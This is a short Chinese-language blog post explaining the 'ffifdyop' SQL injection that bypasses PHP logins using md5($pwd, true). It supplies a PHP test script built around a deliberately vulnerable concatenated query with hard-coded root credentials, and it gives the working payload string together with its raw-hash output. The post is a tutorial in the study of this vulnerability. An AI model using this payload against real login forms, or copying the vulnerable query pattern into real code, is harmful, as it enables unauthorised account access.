SQL注入 md5 万能密码绕过

sec
Article Directory

SQL注入 PHP md5 万能密码绕过

如果有如下 sql 语句

1
select * from user where password = md5($pwd);

万能密码

‘ffifdyop’

测试,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
$servername = "localhost";
$username = "root";
$password = "533533";
$dbname = "myDB";

$conn = new mysqli($servername, $username, $password, $dbname);
if ($conn->connect_error) {
die("连接失败: " . $conn->connect_error);
}
$password = 'ffifdyop';

//------------------------------
//------------------------------
$sql = "SELECT * FROM user WHERE password = '".md5($password,true)."'";
echo $sql;
//------------------------------
//------------------------------


$result = $conn->query($sql);
if ($result->num_rows > 0) {
while($row = $result->fetch_assoc()) {
echo "id: " . $row["id"]. ":" . $row["username"]. ":" . $row["password"]."\n";
}
} else {
echo "0 结果";
}
$conn->close();

注意上述代码中的 sql 语句,php 会将 md5 返回的数据当做 hex 数据解析为 字符,所以,’ffifdyop’ 的 md5 为 276f722736c95d99e921722cf9ed621c

而 ‘or’6 的 16 进制 编码为 276f722736

Note:

只有使用 md5($val, true) 计算的 md5 转换为字符串时会被以16进制数据解析为字符串

1
2
3
4
5
$password = 'ffifdyop';

echo md5($password);
echo "\n";
echo md5($password, true);

该代码片段运行结果为

1
2
3
276f722736c95d99e921722cf9ed621c

'or'6�]��!r,��b

Author: 哒琳

Permalink: http://blog.jieis.cn/2022/4d16b8d7-40bc-491f-974d-74fb5ef0a801.html

Comments